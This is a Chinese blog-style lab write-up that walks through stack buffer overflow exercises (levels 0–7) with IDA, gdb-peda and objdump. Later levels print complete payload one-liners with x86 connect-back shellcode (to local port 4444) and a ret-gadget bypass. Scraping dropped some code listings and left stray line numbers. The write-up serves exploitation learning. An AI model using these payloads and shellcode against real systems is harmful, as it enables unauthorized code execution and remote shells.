经过了多次比赛web的碰壁,发现现在单纯的web题已经很少见了。。大多都混合了如密码学、逆向等的知识。所以打算入坑pwn,打开新的大门。
要准备的工具(带后续补充)
- 逆向分析及动态调试用:IDAPro,Ollydbg
- 调试用:gdb,peda-gdb(或pwngdb这类基于gdb),objdump
- 其他工具:ROPgadget,one_gadget,LibcSearcher, pwntools
简单示例习题
Level0
题目源代码: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}buffer
变量,以及一int型的变量modified
。正常来说这个程序的执行肯定是输出"Try
again?"。
但是这两个变量具有相同的栈底地址,并且buffer变量的输入是通过使用了一个不安全的函数gets(),这个函数之所以危险,是因为这个函数没有限制输入内容的上限,所以可以通过输入超过64字节的buffer变量来覆盖modified变量。
先扔进IDA里看一下反编译的代码:
可以看到变量数组和整型变量之间的地址相差5CH - 10H = 4CH = 76字节
,所以用76个字节的数组输入之后,再填充一个非0的值就可以覆盖modified
的变量值了。
Level1
Level1和Level0大同小异,Level1的区别是在代码中没有使用gets()这样的不推荐使用的危险函数,但是以不恰当的方式使用了strcpy()
这个函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
这段代码要求modified变量的值为十六进制的0x61626364,与上题相同,这里只给出payload(注意小端序):
结果:
Level2
1 |
|
这个也是大同小异,只不过增加了环境变量这个概念,下面是getevn函数的说明:
1
2
3
4......
DESCRIPTION
The getenv() function searches the environment list to find the environment variable name, and returns a pointer to the corresponding value string.
......1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18#!/usr/bin/env python
#coding:utf-8
import os
payload = 'a' * 64 + '\x0a\x0d\x0a\x0d'
os.putenv("GREENIE", payload)
os.system("./level2")
'''
help on built-in function putenv in module posix:
putenv(...)
putenv(key, value)
Change or add an environment variable.
'''
Level3
1 |
|
扔进IDA:
算出地址差为40H
即64字节。
使用objdump -d
命令找到win()函数的地址为0x08048424
。
注意一下小端序就可以了。这个简单的实例题演示了如何通过溢出覆写变量来改变程序的流程。
Level4
1 |
|
这道题目虽然没有其他可以覆盖的变量来进行函数的跳转,但是我们可以通过溢出来覆写main函数的返回地址,从而来改变程序的执行流程,下面进行gdb的调试来判断栈的空间大小:
1 | $ gdb -q level4 |
然后我们验证一下是否栈的空间大小就是76:
石锤了,那就objdump查找win函数的地址,覆写上去就好,payload:
Level5
1 |
|
这个就更简洁了,那我们的目的就是执行一段我们插入的恶意代码了。下面进行gdb的调试:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62gdb-peda$ pattern_create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ r
Starting program: /root/Desktop/PwnStudy/Level0-7/level5
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd1d0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
EBX: 0x0
ECX: 0xf7fa25c0 --> 0xfbad2288
EDX: 0xf7fa401c --> 0x0
ESI: 0xf7fa2000 --> 0x1d6d6c
EDI: 0xf7fa2000 --> 0x1d6d6c
EBP: 0x65414149 ('IAAe')
ESP: 0xffffd220 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
EIP: 0x41344141 ('AA4A')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41344141
[------------------------------------stack-------------------------------------]
0000| 0xffffd220 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0004| 0xffffd224 ("fAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0xffffd228 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0012| 0xffffd22c ("AgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0xffffd230 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0020| 0xffffd234 ("AAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0xffffd238 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0028| 0xffffd23c ("MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41344141 in ?? ()
gdb-peda$ pattern_offset 0x41344141
1093943617 found at offset: 76 #溢出大小为76字节
gdb-peda$ x/100xw $esp #查看栈内前100个存储单元的内容,以16进制(x)每次4字节(w)的格式打印出来
0xffffd220: 0x41414a41 0x35414166 0x414b4141 0x41416741
0xffffd230: 0x4c414136 0x41684141 0x41413741 0x6941414d
0xffffd240: 0x41384141 0x41414e41 0x3941416a 0x414f4141
0xffffd250: 0x41416b41 0x6c414150 0x41514141 0x41416d41
0xffffd260: 0x6f414152 0x41534141 0x41417041 0x71414154
0xffffd270: 0x41554141 0x41417241 0x74414156 0x41574141
0xffffd280: 0x41417541 0x76414158 0x41594141 0x41417741
0xffffd290: 0x7841415a 0x41794141(注意这里) 0xffffd200 0x080483f0
0xffffd2a0: 0x080483e0 0xf7fe42d0 0xffffd2ac 0x0000001c
0xffffd2b0: 0x00000001 0xffffd468 0x00000000 0xffffd48f
0xffffd2c0: 0xffffd4b0 0xffffd4d6 0xffffd524 0xffffd57a
0xffffd2d0: 0xffffd58d 0xffffd5a7 0xffffd5b8 0xffffd5cb
0xffffd2e0: 0xffffd5fc 0xffffd606 0xffffd61c 0xffffd633
0xffffd2f0: 0xffffd63e 0xffffd656 0xffffd66a 0xffffd69d
0xffffd300: 0xffffd6a8 0xffffd6b7 0xffffd6d3 0xffffd710
0xffffd310: 0xffffd71d 0xffffd737 0xffffd74b 0xffffd777
0xffffd320: 0xffffd78f 0xffffd79c 0xffffd7b9 0xffffd7ca
0xffffd330: 0xffffd80c 0xffffd828 0xffffd83d 0xffffd84e
0xffffd340: 0xffffd863 0xffffd872 0xffffd880 0xffffd895
0xffffd350: 0xffffd8a9 0xffffd8cf 0xffffd8f3 0xffffd90a
0xffffd360: 0xffffd91e 0xffffd92f 0xffffd93a 0xffffd942
0xffffd370: 0xffffd969 0xffffd97e 0xffffd989 0xffffd991
0xffffd380: 0xffffd9b1 0xffffdf93 0xffffdfbc 0xffffdfc5
0xffffd390: 0x00000000 0x00000020 0xf7fd3070 0x00000021
0xffffd3a0: 0xf7fd2000 0x00000010 0x1f8bfbff 0x000000061
2
3
4
5
6
7
8
9
10
11#输出payload到一个文件
echo `python -c "print 'A' * 76 + '\x20\xd2\xff\xff' +'\x31\xc0\x31\xdb\x50\x40\x50\x40\x50\x89\xe1\xb0\x33\x04\x33\x43\xcd\x80\x89\xc6\x31\xc0\x50\xc6\x04\x24\x7f\xc6\x44\x24\x03\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\xb0\x33\x04\x33\x50\x51\x56\x89\xe1\x43\xcd\x80\x31\xd2\x87\xca\xb1\x03\x89\xf3\x31\xc0\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x51\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80'"` > test.txt
#本地开启监听
nc -l -p 4444
#gdb中将文件作为输入进行读取
gdb-peda$ r < test.txt
Starting program: /root/Desktop/PwnStudy/Level0-7/level5 < test.txt
process 4629 is executing new program: /usr/bin/dash
Level6
1 |
|
首先进行偏移量的确认和可写入大小的确认: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61gdb-peda$ pattern_create 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'
gdb-peda$ r
Starting program: /root/Desktop/PwnStudy/Level0-7/level6
input path please: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%
got path AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAJAAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x136
EBX: 0x0
ECX: 0x7ffffeca
EDX: 0xf7fa4010 --> 0x0
ESI: 0xf7fa2000 --> 0x1d6d6c
EDI: 0xf7fa2000 --> 0x1d6d6c
EBP: 0x41344141 ('AA4A')
ESP: 0xffffd210 ("fAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA"...)
EIP: 0x41414a41 ('AJAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414a41
[------------------------------------stack-------------------------------------]
0000| 0xffffd210 ("fAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA"...)
0004| 0xffffd214 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%"...)
0008| 0xffffd218 ("AgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%K"...)
0012| 0xffffd21c ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA"...)
0016| 0xffffd220 ("AAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0020| 0xffffd224 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0024| 0xffffd228 ("MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0028| 0xffffd22c ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414a41 in ?? ()
gdb-peda$ pattern_offset 0x41414a41
1094797889 found at offset: 80
gdb-peda$ x/200xw $esp
shellcode地址 ---> 0xffffd210: 0x35414166 0x414b4141 0x41416741 0x4c414136
0xffffd220: 0x41684141 0x41413741 0x6941414d 0x41384141
0xffffd230: 0x41414e41 0x3941416a 0x414f4141 0x41416b41
0xffffd240: 0x6c414150 0x41514141 0x41416d41 0x6f414152
0xffffd250: 0x41534141 0x41417041 0x71414154 0x41554141
0xffffd260: 0x41417241 0x74414156 0x41574141 0x41417541
0xffffd270: 0x76414158 0x41594141 0x41417741 0x7841415a
0xffffd280: 0x41794141 0x25417a41 0x73254125 0x41422541
0xffffd290: 0x25412425 0x4325416e 0x412d2541 0x25412825
0xffffd2a0: 0x3b254144 0x41292541 0x25414525 0x30254161
0xffffd2b0: 0x41462541 0x25416225 0x47254131 0x41632541
0xffffd2c0: 0x25413225 0x64254148 0x41332541 0x25414925
0xffffd2d0: 0x34254165 0x414a2541 0x25416625 0x4b254135
0xffffd2e0: 0x41672541 0x25413625(到这里) 0xffffd600 0xffffd633
0xffffd2f0: 0xffffd63e 0xffffd656 0xffffd66a 0xffffd69d
0xffffd300: 0xffffd6a8 0xffffd6b7 0xffffd6d3 0xffffd710
0xffffd310: 0xffffd71d 0xffffd737 0xffffd74b 0xffffd777
0xffffd320: 0xffffd78f 0xffffd79c 0xffffd7b9 0xffffd7ca
0xffffd330: 0xffffd80c 0xffffd828 0xffffd83d 0xffffd84e
0xffffd340: 0xffffd863 0xffffd872 0xffffd880 0xffffd895
0xffffd350: 0xffffd8a9 0xffffd8cf 0xffffd8f3 0xffffd90a
0xffffd360: 0xffffd91e 0xffffd92f 0xffffd93a 0xffffd942
0xffffd370: 0xffffd969 0xffffd97e 0xffffd989 0xffffd991
0xffffd380: 0xffffd9b1 0xffffdf93 0xffffdfbc 0xffffdfc5
这道题主要就是防止eip转到栈上去执行shell,主要是绕过0xbf000000这个检测(linux下的栈都是0xbf开头)。解决的方法是我们可以使用getpath()函数的ret指令来覆盖main函数的返回地址,当弹出ret到eip时,会执行ret指令(ret的地址是0x08开头,可以绕过上面的限制),再弹出栈头的数据到eip,这时如果栈头是shellcode的地址,那么就溢出成功了。
1 | #查看getpath函数的ret指令地址: |
那么最终payload的格式是这样的:'A' * 80 | ret指令地址 | shellcode的地址 | 隔离'\x90' * 10| shellcode
我还是用上面的那个shellcode来构造最终的payload:
1 | # 输出paylaod 804835f |
Level7
1 |
|
paylaod同上: 1
echo `python -c "print 'A' * 80 + '\x83\x83\04\x08' + '\x00\xd2\xff\xff' + '\x90'*20 + '\x31\xc0\x31\xdb\x50\x40\x50\x40\x50\x89\xe1\xb0\x33\x04\x33\x43\xcd\x80\x89\xc6\x31\xc0\x50\xc6\x04\x24\x7f\xc6\x44\x24\x03\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\xb0\x33\x04\x33\x50\x51\x56\x89\xe1\x43\xcd\x80\x31\xd2\x87\xca\xb1\x03\x89\xf3\x31\xc0\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x51\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80'"` > payload7.txt